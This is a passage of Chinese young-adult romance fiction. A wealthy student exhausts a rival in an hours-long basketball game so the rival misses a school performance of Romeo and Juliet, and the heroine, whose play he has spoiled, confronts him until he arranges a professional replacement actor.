边澈穿着红色球衣,闪电般地越过周溢的防守,然后干净利落地拿下一球。 篮球重新弹回来的时候,他接过球,跟简宇航碰了下肩。 力道不大,却差点把简宇航撞倒,他双手撑在腿上喘粗气:“澈哥,真的跑不动了。” 这场球赛已经打了六个小时了,两队的比分始终胶着,边澈像逗着对手玩似的,也不急着进攻,每次都让着对方拿下一球,他再把比分扳平。 胜负难定,周溢和其他男生的视线都往这边看,他们知道,散不散场全凭这位祖宗说了算。 边澈冷着脸把球传出去,桃花眼微微一眯:“你虚了?” “怎么可能?” 这个字对十七八岁的男生来说,绝对是禁忌,简宇航长长地呼出一口浊气,重新打起精神,把注意力放在盯防对手上。 他要是现在还看不明白边澈要虐的是周溢,也就太白目了。 周溢下午接到简宇航的邀约,还挺意外的。他一直想进边澈的圈子,这位少爷所有的资源都是顶级,从手指缝里漏出去就够他用的了,比他妈把他塞进话剧演出里强多了。不过现在,他真有点后悔了。 这是什么魔鬼体力? 十点半,空气里响起一道滚雷。 周溢终于扛不住了,过人失败后,腿一软直接瘫倒在地,大口大口地喘着气,心脏的速度很快,想要从嘴里崩出来一样,气若游丝地说:“要下雨了,散了吧。”再打下去,人就要死人了。 边澈夹着球过去,视线往他身上一掠,像打量一条在砧板上垂死挣扎的鱼。 “就这点本事?”他说这话的时候,身上带着数九寒冬的刻薄劲儿。 周溢这会儿也反应过来了,他整个人像从水里捞出来一样,几乎发不出声音,勉强开口,带着央求的意味:“我怎么得罪你了?” 空气像被冻住了,周溢的队友怕这场火烧到自己身上,集体噤若寒蝉。 篮球在边澈手里一下下地砸向地面,距离周溢的脸不过半寸,一道又一道的劲风刮在耳侧。 当着这么多人的面,他自然要保护叶声笙的名誉,以居高临下的姿态,“收起你所有龌龊的心思,其余的,不用我说了吧。” 低缓的男声像在烟酒里滚过,颗粒感十足,威慑力更强。细细密密的雨下了一夜,银杏叶落了一地,空气里沁着潮汽。今天是拳岚艺术节,上午的课程全部改为自习,有演出的同学去礼堂彩排。本就是连着周末,心都散了,哪有什么学习的心思,教室里一片喧哗。简宇航兴致勃勃地给后座男主讲昨晚的战绩,讲到兴奋处特别夸张地打了个响指:“绝杀八小时,我昨晚查了一下,已经打破连续篮球时间的吉尼斯世界纪录。只可惜,我们忘记录视频了,要不然去申请一下,多牛!"从早上到现在,他的嘴巴就没有停过。边澈原本趴在桌上补眠,被他吵得睡不着,从书桌里掏出一套物理竞赛卷,转着笔做起来。简宇航唾沫星子飞扬地寻求佐证时,惊讶于他现在能有这份闲情逸致,竖了竖大拇指:“澈哥,真有你的,你干什么都会成功的。”虐人的时候就下死手,做题的时候就俗尘勿扰。不过,周溢到底怎么得罪他了?简宇航的八卦之魂熊熊燃起——"澈哥,周溢……"“闭嘴。”边澈像是早就预判了他的问题,眼风都没赏他一个,就把简宇航的满腹疑问噎回去了。与此同时,门外响起一道含讥带诮的嗔怒:“边澈,你给我出来。”教室里突然变得安静,一众脑袋齐齐看过去。叶声笙穿着彩排的裙子站在门口,她今天化了淡妆,头发绾在脑后,很像十九世纪欧洲贵族的造型,就是表情和肢体语言看起来嘛—来者不善。边澈隔着七八米都能感受到她身上的气,那股火是直直刺向他的,势如破竹地穿过整间教室,牢牢地锁在他身上。“你又怎么惹到叶大小姐了?”简宇航背脊抖了一下,用手肘偷偷怼他。边澈一点儿都没觉得意外,从今天早上得知周溢退出“罗密欧和朱丽叶”的演出,他就知道要被某人清算了。撂一眼时间,比预计要晚一些。边澈确实了解她,叶声笙来找他算账之前被Miss Liu叫到了办公室,花了整整十三分钟听周溢昨晚是怎么打了一场篮球,又是怎么被雨淋了高烧不退的。耳朵都快磨出茧子了。交代完始末之后,Miss Liu摘下眼睛,惋惜地叹一口气:“叶同学,这是个意外,也是整个 岚艺术节最大的损失。”是意外还是人为,她自有分辨。因此,从三楼办公室出来后,叶声笙径直来到边澈的班级。边澈慢条斯理地把笔放下,软筋软骨地起身,从最后一排走到最前面,特别有耐心地问一句:“找我什么事儿?”叶声笙顶顶看不上他这种装腔作势的样子——态度上很谦和,可体态里总带着少年的顽劣。三米不到的距离,她笔直地倚着门,白了他一眼:“出来说。”随后扭头就走。边澈慢悠悠地跟在身后。教室里层层叠叠的议论都快要压不住了——“我靠,什么情况?”"叶大小姐大发雷霆,该不会是《罗密欧和朱丽叶》的演出取消的事儿吧。"“不是周溢病了吗?跟边澈有什么关系?”“听说是昨晚打篮球淋了雨,那场球是跟边澈打的……”边澈在班里的人缘很好,有人护着说:"那也不能怪他呀,都是一起打的球,再说了,周溢明知道自己今天有演出,不是应该早点回家休息,非要逞能做什么!"另一边,他挺有耐心地跟叶声笙上了楼梯,去了三楼的阅读室。这会儿是上课时间,阅读室里没人,只有他们两个。叶声笙站在一排书架前,抱着臂,摆出身高不够但气势很足的姿态,下巴扬起来:“你是不是故意的?”尾调下曳,不像是问句,倒像是直接给他定罪的审判。边澈上前一步,把两人之间的距离缩至半米,盯着那张愠怒而漂亮的脸蛋,玩笑似的乖戾口吻:“什么意思?我听不懂,你给我定罪之前,能不能说得详细一点?”"昨晚你为什么非要找周溢打球?"她眉心蹙着,看他的眼神像大慈大悲的观世音遇到了万年都度化不了的孽畜一样。“他约我好久了,昨天正好有空,我就同意了。”换言之,他是被动的。叶声笙脸色倏地一沉,抓他语病:“他约你那么久,为什么偏偏要昨天答应?而且谁家好人打球要打八个小时呀,你敢说你不是故意的?”边澈俯在她头顶,沉敛着眉,似乎带着不解:“比赛肯定是要分胜负,昨天我们打得难分难舍,难免长了点。”他摊摊手,表情再无辜不过。“而且我们昨天打球那么多人,全都没什么事儿,就周溢一个人病了,那也只能怪他体力太差。”叶声笙无法反驳,她原地徘徊了几步,整个人轻微烦躁。“烦死了,我们整整练了一个月,就因为你们打了一场篮球,节目就破产了。”边澈的目光一直追随着她,唇角的弧度意味深长:“这么重要的演出,不是应该准备B组演员吗?是不是整个节目的架构有问题?”她那样单纯而热烈的一个人,不该知道那些卑劣的手段,他也没打算告诉她。“你以为我们是国家话剧团吗?还B组演员?”叶声笙用眼尾瞪他,瞪了一会儿还不解气,嘲讽道:“那么喜欢打篮球,不去NBA真是委屈你了。”尽管知道这是迁怒,她还是控制不了自己的情绪,为了这场演出,她错过了三场画展,两场品牌方的活动,就连身上这套朱丽叶的裙子,也是找高定工坊订做的,现在全都泡汤了。不行,这件事绝对不能是天灾,必须有人负责,眼前人就是最好的背锅侠人选。没有之一。半晌,她的声音闷闷地传来:“我不管,你要么立刻把周溢治好,要么给我找一个新的罗密欧来?”边澈昨晚虐周溢的时候,全凭一股火气,他是真的没想到叶声笙对这部话剧的执念这么深。不过,他们之间从来都不是公平的。 她可以随时随地跟他发脾气,他却不能不在乎她的感受。 “就一个拳岚艺术节的话剧而已,你就真的这么想演?” “你知道我爸爸推了几个重要的会议,就为了今天下午来看我的演出吗?” 边澈昨晚打了八个小时的篮球,要说不疲惫那是不可能,今天能来学校全凭一口气吊着,现在这口气快要被小祖宗折腾死了。 “行,我认了。”他拿出手机拨了一串号码出去。 当天,肇岚艺术节上,话剧《罗密欧与朱丽叶》如常上演,男演员是国家话剧院的首席。 舞台灯陆续点亮,前奏环悬在山上礼堂的每一个角落,观众的呼声一波接着一波,叶声笙在追光灯中出场,周身镀着圣洁的光。 台上有三千观众,他们的目光都被她吸引,少年的青春在躁动,她是多少男生们可望而不可及的梦想。 边澈坐在台下,盯着那个闪闪发光的人,觉得她就该活成这样。 他也是叶氏王国的匍匐的臣民。 心甘情愿。